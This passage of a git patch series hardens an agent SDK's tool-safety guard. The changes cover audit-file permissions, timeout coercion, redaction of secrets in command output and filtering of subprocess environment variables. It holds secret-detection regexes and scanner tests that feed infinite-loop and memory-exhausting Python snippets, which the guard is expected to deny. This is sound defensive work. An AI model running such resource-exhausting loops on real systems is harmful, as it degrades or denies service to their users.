+ + @pytest.mark.asyncio async def test_mcp_timeout_reaps_real_subprocess(monkeypatch): processes = [] @@ -212,5 +246,6 @@ async def track_process(*args, **kwargs): timeout=0.05, ) assert result["timed_out"] is True + assert result["reap_timed_out"] is False assert len(processes) == 1 assert processes[0].returncode is not None diff --git a/tests/tools/safety/test_code_executor.py b/tests/tools/safety/test_code_executor.py index 60b49dd07..9bcc975f9 100644 --- a/tests/tools/safety/test_code_executor.py +++ b/tests/tools/safety/test_code_executor.py @@ -39,6 +39,13 @@ def emit(self, event): raise SafetyAuditError("audit unavailable") +class _SensitiveFailingSink: + + def emit(self, event): + del event + raise SafetyAuditError("audit failed token=very-secret-token") + + class _Executor(BaseCodeExecutor): calls: int = 0 delay: float = 0 @@ -104,6 +111,20 @@ async def test_audit_failure_blocks_code_execution(): assert error.value.report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW +@pytest.mark.asyncio +async def test_audit_failure_report_does_not_leak_exception_text(): + wrapper = _wrapper(_Executor()) + wrapper.audit_sink = _SensitiveFailingSink() + + with pytest.raises(ToolSafetyViolation) as error: + await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + + serialized = error.value.report.model_dump_json() + assert "very-secret-token" not in serialized + assert "audit failed" not in serialized + assert "safety scan failed" in serialized + + @pytest.mark.asyncio async def test_wrapper_enforces_timeout(): wrapper = _wrapper(_Executor(delay=1.1), timeout=1) diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index ac9d65e4b..b282be741 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -114,6 +114,18 @@ async def handler(): await _run_filter(_filter(_MemorySink()), args, handler) +@pytest.mark.asyncio +async def test_workspace_exec_injects_float_timeout_sec_when_omitted(): + args = {"command": "echo ok"} + + async def handler(): + assert isinstance(args["timeout_sec"], float) + assert "timeout" not in args + return {"stdout": "ok"} + + await _run_filter(_filter(_MemorySink()), args, handler, tool_name="workspace_exec") + + @pytest.mark.asyncio async def test_allow_preserves_float_timeout_type(): args = {"command": "echo ok", "timeout": 3.5} diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index dd6057b97..c75b54362 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -79,16 +79,9 @@ def emit(self, event: SafetyAuditEvent) -> None: """Append and flush one JSON event.""" line = event.model_dump_json() + "\n" try: - missing_parents = [] - parent = self._path.parent - while not parent.exists(): - missing_parents.append(parent) - parent = parent.parent self._path.parent.mkdir(parents=True, exist_ok=True) if self._path.parent != Path("."): self._path.parent.chmod(0o700) - for directory in missing_parents: - directory.chmod(0o700) with self._lock: with _open_secure_file(self._path) as stream: stream.write(line) diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index 123239d71..7291c3681 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -78,6 +78,8 @@ def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple def _timeout_value(tool_name: str, request: ScriptScanRequest, original: Any) -> int | float: value = request.effective_timeout_seconds + if request.timeout_arg_name == "timeout_sec": + return value if isinstance(original, int) and not isinstance(original, bool): return int(value) if original is None and tool_name.lower() in _BASH_TOOL_NAMES: diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index b9b2b5532..e6f20a9ff 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -30,10 +30,9 @@ r"([\"'])(.*?)\2", re.DOTALL, ) -_NAMED_SECRET_RE = re.compile( - r"(?i)\b(api[_-]?key|token|password|passwd|authorization|secret)" - r"(\s*[=:]\s*)" - r"[A-Za-z0-9_./+=-]{12,}\b", ) +_NAMED_SECRET_RE = re.compile(r"(?i)\b(api[_-]?key|token|password|passwd|authorization|secret)" + r"(\s*[=:]\s*)" + r"[A-Za-z0-9_./+=-]{12,}\b") _BEARER_RE = re.compile(r"(?i)\bbearer\s+[A-Za-z0-9._~+/=-]+") _COMMON_TOKEN_RE = re.compile(r"\b(?:sk|ghp|xox[baprs])[-_][A-Za-z0-9_-]{12,}\b") _URL_USERINFO_RE = re.compile(r"(?i)(https?://[^/\s:@]+:)[^@/\s]+@") diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py index 5317265db..e20a54104 100644 --- a/trpc_agent_sdk/tools/safety/_scanner.py +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -85,13 +85,14 @@ def scan(self, request: ScriptScanRequest) -> SafetyReport: def error_report(self, error: Exception) -> SafetyReport: """Convert scan/adapter failures into a sanitized blocking report.""" - finding, redacted = make_finding("POLICY005", error, SCAN_ERROR_SPEC, self.sanitizer) + del error + finding, _ = make_finding("POLICY005", "safety scan failed", SCAN_ERROR_SPEC, self.sanitizer) return SafetyReport( decision=SafetyDecision.NEEDS_HUMAN_REVIEW, risk_level=RiskLevel.MEDIUM, findings=[finding], duration_ms=0, - redacted=redacted, + redacted=True, summary="needs_human_review: safety scan failed.", max_output_bytes=self.policy.max_output_bytes, effective_timeout_seconds=float(self.policy.max_timeout_seconds), From ac271dc2c0870365d647cd94306bc586c9e01a69 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 18:37:59 +0800 Subject: [PATCH 20/29] fix(safety): restore audit parent permissions Ensure newly created audit parent directories are tightened to 0700 again while keeping plain relative paths from chmodding cwd. --- tests/tools/safety/test_audit_and_telemetry.py | 1 + trpc_agent_sdk/tools/safety/_audit.py | 7 +++++++ 2 files changed, 8 insertions(+) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index 0511a8a11..de0304947 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -99,6 +99,7 @@ def test_jsonl_audit_secures_new_parent_directories(tmp_path): assert path.parent.parent.exists() if os.name == "posix": assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700 + assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index c75b54362..dd6057b97 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -79,9 +79,16 @@ def emit(self, event: SafetyAuditEvent) -> None: """Append and flush one JSON event.""" line = event.model_dump_json() + "\n" try: + missing_parents = [] + parent = self._path.parent + while not parent.exists(): + missing_parents.append(parent) + parent = parent.parent self._path.parent.mkdir(parents=True, exist_ok=True) if self._path.parent != Path("."): self._path.parent.chmod(0o700) + for directory in missing_parents: + directory.chmod(0o700) with self._lock: with _open_secure_file(self._path) as stream: stream.write(line) From 6ede31a06752f675bbc012656987b195f77fbfbb Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 19:31:53 +0800 Subject: [PATCH 21/29] fix(safety): bound static loop truthiness --- tests/tools/safety/test_filter.py | 19 ++++++++-- tests/tools/safety/test_scanner.py | 37 ++++++++++++++++++++ trpc_agent_sdk/tools/safety/_common_rules.py | 8 +++++ trpc_agent_sdk/tools/safety/_integration.py | 2 +- trpc_agent_sdk/tools/safety/_python_rules.py | 13 +++++++ 5 files changed, 76 insertions(+), 3 deletions(-) diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index b282be741..d21d90061 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -19,6 +19,7 @@ from trpc_agent_sdk.tools.safety import ToolSafetyFilter from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.skills.tools._workspace_exec import _ExecInput class _MemorySink: @@ -115,17 +116,31 @@ async def handler(): @pytest.mark.asyncio -async def test_workspace_exec_injects_float_timeout_sec_when_omitted(): +async def test_workspace_exec_injects_integer_timeout_sec_when_omitted(): args = {"command": "echo ok"} async def handler(): - assert isinstance(args["timeout_sec"], float) + assert isinstance(args["timeout_sec"], int) assert "timeout" not in args return {"stdout": "ok"} await _run_filter(_filter(_MemorySink()), args, handler, tool_name="workspace_exec") +@pytest.mark.asyncio +async def test_workspace_exec_timeout_sec_matches_real_model_validate(): + args = {"command": "echo ok"} + + async def handler(): + assert isinstance(args["timeout_sec"], int) + inputs = _ExecInput.model_validate(args) + assert inputs.timeout_sec == 10 + assert isinstance(inputs.timeout_sec, int) + return {"stdout": "ok"} + + await _run_filter(_filter(_MemorySink()), args, handler, tool_name="workspace_exec") + + @pytest.mark.asyncio async def test_allow_preserves_float_timeout_type(): args = {"command": "echo ok", "timeout": 3.5} diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 2566cc441..cb651930a 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -6,6 +6,8 @@ """Scanner acceptance-oriented unit tests.""" import ast +import time +import tracemalloc import pytest @@ -102,6 +104,17 @@ def test_non_finite_scan_timeout_is_reviewed_as_invalid(guard): assert "not finite" in report.findings[0].evidence +def test_fractional_timeout_sec_requires_review(guard): + request = _request("echo ok", ScriptLanguage.BASH, timeout=10.5) + request.timeout_arg_name = "timeout_sec" + + report = guard.scan(request) + + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "POLICY001" in _rule_ids(report) + assert "not an integer" in report.findings[0].evidence + + def test_guard_limits_output_with_policy_budget(): guard = ToolScriptSafetyGuard(ToolSafetyPolicy(max_output_bytes=20)) result = guard.limit_output(["x" * 5, "y" * 20]) @@ -495,6 +508,30 @@ def test_static_truthiness_handles_mult_without_materializing(): assert _static_truthiness(ast.parse("1 + 1", mode="eval").body) is None +@pytest.mark.parametrize( + "container_src", + [ + "[" + ",".join("0" for _ in range(1000)) + "]", + "{" + ",".join(f"{i}:0" for i in range(1000)) + "}", + ], +) +def test_python_large_literal_containers_are_scanned_with_bounded_cost(guard, container_src): + report_code = f"while {container_src}:\n pass" + tracemalloc.start() + started = time.perf_counter() + try: + report = guard.scan(_request(report_code)) + _, peak = tracemalloc.get_traced_memory() + finally: + tracemalloc.stop() + elapsed = time.perf_counter() - started + + assert report.decision == SafetyDecision.DENY + assert "RES001" in _rule_ids(report) + assert elapsed < 2.0 + assert peak < 20 * 1024 * 1024 + + def test_static_value_handles_literal_containers_and_rejects_unhashable(): assert _static_value(ast.parse("(1, 'x')", mode="eval").body) == (1, "x") assert _static_value(ast.parse("[1, 'x']", mode="eval").body) == [1, "x"] diff --git a/trpc_agent_sdk/tools/safety/_common_rules.py b/trpc_agent_sdk/tools/safety/_common_rules.py index 1473e0d0e..5a480d75f 100644 --- a/trpc_agent_sdk/tools/safety/_common_rules.py +++ b/trpc_agent_sdk/tools/safety/_common_rules.py @@ -197,6 +197,14 @@ def scan_limits(request: ScriptScanRequest, policy: ToolSafetyPolicy, sanitizer: SafetySanitizer) -> tuple[list[SafetyFinding], bool]: """Check request-level limits.""" requested = request.requested_timeout_seconds + if request.timeout_arg_name == "timeout_sec" and requested is not None and not float(requested).is_integer(): + finding, redacted = make_finding( + "POLICY001", + f"requested timeout_sec {requested}s is not an integer", + POLICY_REVIEW, + sanitizer, + ) + return [finding], redacted if requested is None or 0 < requested <= policy.max_timeout_seconds: return [], False if not math.isfinite(requested): diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index 7291c3681..a135c2bee 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -79,7 +79,7 @@ def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple def _timeout_value(tool_name: str, request: ScriptScanRequest, original: Any) -> int | float: value = request.effective_timeout_seconds if request.timeout_arg_name == "timeout_sec": - return value + return int(value) if isinstance(original, int) and not isinstance(original, bool): return int(value) if original is None and tool_name.lower() in _BASH_TOOL_NAMES: diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index a3c80f5a8..8f37c2524 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -40,6 +40,7 @@ _SECRET_NAME_RE = re.compile( r"(?i)(api[_-]?key|access[_-]?key|authorization|credential|token|password|passwd|secret|private[_-]?key)") _UNKNOWN_VALUE = object() +_MAX_STATIC_LITERAL_ITEMS = 256 def _static_truthy(node: ast.AST) -> bool: @@ -73,6 +74,10 @@ def _static_truthy(node: ast.AST) -> bool: def _static_truthiness(node: ast.AST) -> bool | None: + if isinstance(node, (ast.Tuple, ast.List, ast.Set)): + return bool(node.elts) + if isinstance(node, ast.Dict): + return bool(node.keys) value = _static_value(node) if value is not _UNKNOWN_VALUE: return bool(value) @@ -101,6 +106,8 @@ def _static_value(node: ast.AST) -> object: if isinstance(node, ast.Constant): return node.value if isinstance(node, ast.Tuple): + if len(node.elts) > _MAX_STATIC_LITERAL_ITEMS: + return _UNKNOWN_VALUE values = [] for element in node.elts: value = _static_value(element) @@ -109,6 +116,8 @@ def _static_value(node: ast.AST) -> object: values.append(value) return tuple(values) if isinstance(node, ast.List): + if len(node.elts) > _MAX_STATIC_LITERAL_ITEMS: + return _UNKNOWN_VALUE values = [] for element in node.elts: value = _static_value(element) @@ -117,6 +126,8 @@ def _static_value(node: ast.AST) -> object: values.append(value) return values if isinstance(node, ast.Set): + if len(node.elts) > _MAX_STATIC_LITERAL_ITEMS: + return _UNKNOWN_VALUE values = [] for element in node.elts: value = _static_value(element) @@ -128,6 +139,8 @@ def _static_value(node: ast.AST) -> object: except TypeError: return _UNKNOWN_VALUE if isinstance(node, ast.Dict): + if len(node.keys) > _MAX_STATIC_LITERAL_ITEMS: + return _UNKNOWN_VALUE keys = [] values = [] for key, value in zip(node.keys, node.values): From 9ae893115ef9ee2fdc5282136e7fc48b63b48194 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 21:56:15 +0800 Subject: [PATCH 22/29] fix(safety): detect nested truthy negations --- examples/tool_safety_guard/mcp_server.py | 6 ++++-- tests/tools/safety/test_scanner.py | 2 ++ trpc_agent_sdk/tools/safety/_python_rules.py | 3 +++ 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 43d0081be..388e0e96b 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -40,9 +40,11 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: } if requested_timeout is not None and requested_timeout <= 0: requested_timeout = None + timeout_limit = float(GUARD.policy.max_timeout_seconds) + requested_or_default = requested_timeout if requested_timeout is not None else timeout_limit effective_timeout = min( - requested_timeout or float(GUARD.policy.max_timeout_seconds), - float(GUARD.policy.max_timeout_seconds), + requested_or_default, + timeout_limit, ) request = ScriptScanRequest( payloads=[ScriptPayload( diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index cb651930a..dd843857f 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -484,6 +484,8 @@ def test_large_write_and_python_syntax_error_are_reported(guard): "while 1:\n pass", "while 1 == 1:\n pass", "while not 0:\n pass", + "while not not 1:\n pass", + "while not not True:\n pass", "while [0] * 100000000:\n pass", "while \"x\" * 100000000:\n pass", "while 1 * 2:\n pass", diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 8f37c2524..0d2f0917b 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -74,6 +74,9 @@ def _static_truthy(node: ast.AST) -> bool: def _static_truthiness(node: ast.AST) -> bool | None: + if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): + truthiness = _static_truthiness(node.operand) + return None if truthiness is None else not truthiness if isinstance(node, (ast.Tuple, ast.List, ast.Set)): return bool(node.elts) if isinstance(node, ast.Dict): From ea5ee82361b823a799b50ded3fbc3f0cdcfa7b5e Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 22:29:06 +0800 Subject: [PATCH 23/29] fix(safety): harden audit and timeout cleanup --- examples/tool_safety_guard/mcp_server.py | 2 +- tests/tools/safety/test_cli_and_acceptance.py | 2 +- trpc_agent_sdk/tools/safety/_audit.py | 20 +++++++++---------- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 388e0e96b..45ffede7b 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -102,7 +102,7 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: process.communicate(), timeout=PROCESS_REAP_TIMEOUT_SECONDS, ) - except (asyncio.TimeoutError, ProcessLookupError, RuntimeError, ValueError): + except Exception: reap_timed_out = True response = { "return_code": None, diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index d339b4d3e..0b8514bae 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -212,7 +212,7 @@ async def communicate(self): self.communicate_calls += 1 if self.communicate_calls == 1: await asyncio.sleep(60) - raise RuntimeError("pipe already closing") + raise OSError("pipe already closing") def kill(self): self.killed = True diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index dd6057b97..761bb2b2f 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -79,17 +79,17 @@ def emit(self, event: SafetyAuditEvent) -> None: """Append and flush one JSON event.""" line = event.model_dump_json() + "\n" try: - missing_parents = [] - parent = self._path.parent - while not parent.exists(): - missing_parents.append(parent) - parent = parent.parent - self._path.parent.mkdir(parents=True, exist_ok=True) - if self._path.parent != Path("."): - self._path.parent.chmod(0o700) - for directory in missing_parents: - directory.chmod(0o700) with self._lock: + missing_parents = [] + parent = self._path.parent + while not parent.exists(): + missing_parents.append(parent) + parent = parent.parent + self._path.parent.mkdir(parents=True, exist_ok=True) + if self._path.parent != Path("."): + self._path.parent.chmod(0o700) + for directory in missing_parents: + directory.chmod(0o700) with _open_secure_file(self._path) as stream: stream.write(line) stream.flush() From cd055ed2e8172f0a8174a5647ddf1b2a451eb0b5 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 22:51:42 +0800 Subject: [PATCH 24/29] fix(safety): redact mcp command output --- examples/tool_safety_guard/mcp_server.py | 20 ++++++++++++-- tests/tools/safety/test_cli_and_acceptance.py | 26 +++++++++++++++++++ 2 files changed, 44 insertions(+), 2 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 45ffede7b..4add1b27f 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -28,6 +28,22 @@ PROCESS_REAP_TIMEOUT_SECONDS = 1.0 +def _safe_response(response: dict) -> dict: + """Redact secret-looking output before returning it to the Agent.""" + safe = dict(response) + redacted = bool(safe.get("redacted", False)) + for key in ("stdout", "stderr", "output", "formatted_output"): + item = safe.get(key) + if not isinstance(item, str): + continue + safe_text, changed = GUARD.sanitizer.sanitize(item) + safe[key] = safe_text + redacted = redacted or changed + if redacted: + safe["redacted"] = True + return GUARD.limit_output(safe) + + @APP.tool() async def execute_command(command: str, timeout: float | None = None) -> dict: """Execute an approved shell command in the disposable example directory.""" @@ -111,13 +127,13 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: "timed_out": True, "reap_timed_out": reap_timed_out, } - return GUARD.limit_output(response) + return _safe_response(response) response = { "return_code": process.returncode, "stdout": stdout.decode(errors="replace")[:MAX_OUTPUT_CHARS], "stderr": stderr.decode(errors="replace")[:MAX_OUTPUT_CHARS], } - return GUARD.limit_output(response) + return _safe_response(response) if __name__ == "__main__": diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index 0b8514bae..44dc7b77b 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -249,3 +249,29 @@ async def track_process(*args, **kwargs): assert result["reap_timed_out"] is False assert len(processes) == 1 assert processes[0].returncode is not None + + +@pytest.mark.asyncio +async def test_mcp_output_redacts_secret_values(monkeypatch): + + class _SecretProcess: + returncode = 0 + + async def communicate(self): + return ( + b"token=abcdefghijklmnopqrstuvwxyz", + b"password='top secret phrase'", + ) + + async def create_process(*args, **kwargs): + del args, kwargs + return _SecretProcess() + + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", create_process) + result = await mcp_server.execute_command("echo ok") + + assert result["redacted"] is True + assert "abcdefghijklmnopqrstuvwxyz" not in result["stdout"] + assert "top secret phrase" not in result["stderr"] + assert "[REDACTED_SECRET]" in result["stdout"] + assert "[REDACTED_SECRET]" in result["stderr"] From d55bdfac09e57e48b3ecdec3b5ec107fbd220d23 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 23:05:18 +0800 Subject: [PATCH 25/29] fix(safety): avoid inherited env and parent chmod --- examples/tool_safety_guard/mcp_server.py | 8 ++++++ .../tools/safety/test_audit_and_telemetry.py | 4 +-- tests/tools/safety/test_cli_and_acceptance.py | 26 +++++++++++++++++++ trpc_agent_sdk/tools/safety/_audit.py | 2 -- 4 files changed, 36 insertions(+), 4 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 4add1b27f..a2694553e 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -9,6 +9,7 @@ import asyncio import math +import os import shlex from pathlib import Path @@ -26,6 +27,12 @@ GUARD = ToolScriptSafetyGuard.from_policy(POLICY_PATH) MAX_OUTPUT_CHARS = 4096 PROCESS_REAP_TIMEOUT_SECONDS = 1.0 +SUBPROCESS_ENV_KEYS = ("PATH", "SYSTEMROOT", "WINDIR") + + +def _subprocess_env() -> dict[str, str]: + """Pass only runtime loader essentials to approved demo commands.""" + return {key: os.environ[key] for key in SUBPROCESS_ENV_KEYS if key in os.environ} def _safe_response(response: dict) -> dict: @@ -99,6 +106,7 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: process = await asyncio.create_subprocess_exec( *argv, cwd=WORK_DIR, + env=_subprocess_env(), stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index de0304947..e796f866b 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -103,14 +103,14 @@ def test_jsonl_audit_secures_new_parent_directories(tmp_path): @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") -def test_jsonl_audit_secures_existing_parent_directory(tmp_path): +def test_jsonl_audit_does_not_chmod_existing_parent_directory(tmp_path): parent = tmp_path / "audit" parent.mkdir() parent.chmod(0o755) JsonlAuditSink(parent / "audit.jsonl").emit(create_audit_event(_report(), "Bash", True)) - assert stat.S_IMODE(parent.stat().st_mode) == 0o700 + assert stat.S_IMODE(parent.stat().st_mode) == 0o755 @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index 44dc7b77b..46a745951 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -275,3 +275,29 @@ async def create_process(*args, **kwargs): assert "top secret phrase" not in result["stderr"] assert "[REDACTED_SECRET]" in result["stdout"] assert "[REDACTED_SECRET]" in result["stderr"] + + +@pytest.mark.asyncio +async def test_mcp_subprocess_env_filters_sensitive_values(monkeypatch): + + class _EnvProcess: + returncode = 0 + + async def communicate(self): + return (b"ok", b"") + + captured = {} + + async def create_process(*args, **kwargs): + del args + captured.update(kwargs.get("env", {})) + return _EnvProcess() + + monkeypatch.setenv("TRPC_AGENT_API_KEY", "secret-key") + monkeypatch.setenv("PATH", "safe-path") + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", create_process) + result = await mcp_server.execute_command("echo ok") + + assert result["stdout"] == "ok" + assert captured["PATH"] == "safe-path" + assert "TRPC_AGENT_API_KEY" not in captured diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index 761bb2b2f..257054a96 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -86,8 +86,6 @@ def emit(self, event: SafetyAuditEvent) -> None: missing_parents.append(parent) parent = parent.parent self._path.parent.mkdir(parents=True, exist_ok=True) - if self._path.parent != Path("."): - self._path.parent.chmod(0o700) for directory in missing_parents: directory.chmod(0o700) with _open_secure_file(self._path) as stream: From 58cdb6a058e3f80ffed1e12e7242a608366b3f79 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 23:30:21 +0800 Subject: [PATCH 26/29] fix(safety): fsync audit records --- .../tools/safety/test_audit_and_telemetry.py | 13 ++++++++++-- trpc_agent_sdk/tools/safety/_audit.py | 20 ++++++++++--------- 2 files changed, 22 insertions(+), 11 deletions(-) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index e796f866b..27364822a 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -71,6 +71,15 @@ def test_jsonl_audit_has_required_fields(tmp_path): assert data["redacted"] is True +def test_jsonl_audit_fsyncs_written_record(monkeypatch, tmp_path): + fsync = MagicMock() + monkeypatch.setattr("trpc_agent_sdk.tools.safety._audit.os.fsync", fsync) + + JsonlAuditSink(tmp_path / "audit.jsonl").emit(create_audit_event(_report(), "Bash", True)) + + fsync.assert_called_once() + + def test_path_lock_is_weakly_held(tmp_path): sink = JsonlAuditSink(tmp_path / "audit.jsonl") key = str((tmp_path / "audit.jsonl").resolve()) @@ -133,8 +142,8 @@ def test_jsonl_audit_applies_posix_fchmod(monkeypatch, tmp_path): ) monkeypatch.setattr("trpc_agent_sdk.tools.safety._audit.os.fchmod", fchmod) - with _open_secure_file(path) as stream: - stream.write("audit\n") + descriptor = _open_secure_file(path) + os.close(descriptor) fchmod.assert_called_once() diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index 257054a96..9d54d0259 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -13,7 +13,6 @@ from pathlib import Path import stat import threading -from typing import IO from typing import Protocol import weakref @@ -69,15 +68,15 @@ def emit(self, event: SafetyAuditEvent) -> None: class JsonlAuditSink: - """Single-process, thread-safe JSONL audit sink.""" + """Thread-safe JSONL audit sink using single-write append records.""" def __init__(self, path: str | Path): self._path = Path(path) self._lock = _shared_path_lock(self._path) def emit(self, event: SafetyAuditEvent) -> None: - """Append and flush one JSON event.""" - line = event.model_dump_json() + "\n" + """Append and fsync one JSON event.""" + line = (event.model_dump_json() + "\n").encode("utf-8") try: with self._lock: missing_parents = [] @@ -88,9 +87,12 @@ def emit(self, event: SafetyAuditEvent) -> None: self._path.parent.mkdir(parents=True, exist_ok=True) for directory in missing_parents: directory.chmod(0o700) - with _open_secure_file(self._path) as stream: - stream.write(line) - stream.flush() + descriptor = _open_secure_file(self._path) + try: + os.write(descriptor, line) + os.fsync(descriptor) + finally: + os.close(descriptor) except OSError as error: del error raise SafetyAuditError("tool safety audit write failed") from None @@ -151,7 +153,7 @@ def _shared_path_lock(path: Path) -> _PathLock: return lock -def _open_secure_file(path: Path) -> IO[str]: +def _open_secure_file(path: Path) -> int: flags = os.O_APPEND | os.O_CREAT | os.O_WRONLY | getattr(os, "O_NOFOLLOW", 0) descriptor = os.open(path, flags, _AUDIT_FILE_MODE) try: @@ -161,7 +163,7 @@ def _open_secure_file(path: Path) -> IO[str]: raise OSError("audit path must be a regular non-symlink file") if os.name == "posix": os.fchmod(descriptor, _AUDIT_FILE_MODE) - return os.fdopen(descriptor, "a", encoding="utf-8", newline="\n") + return descriptor except Exception: os.close(descriptor) raise From eacda0fa834f8b942e6b5527611a9f0eb44d680b Mon Sep 17 00:00:00 2001 From: qtds Date: Tue, 28 Jul 2026 00:46:42 +0800 Subject: [PATCH 27/29] fix(safety): create audit parents privately --- .../tools/safety/test_audit_and_telemetry.py | 36 +++++++++++++++++++ tests/tools/safety/test_scanner.py | 4 +-- trpc_agent_sdk/tools/safety/_audit.py | 8 +++-- 3 files changed, 43 insertions(+), 5 deletions(-) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index 27364822a..9f7d35162 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -111,6 +111,42 @@ def test_jsonl_audit_secures_new_parent_directories(tmp_path): assert 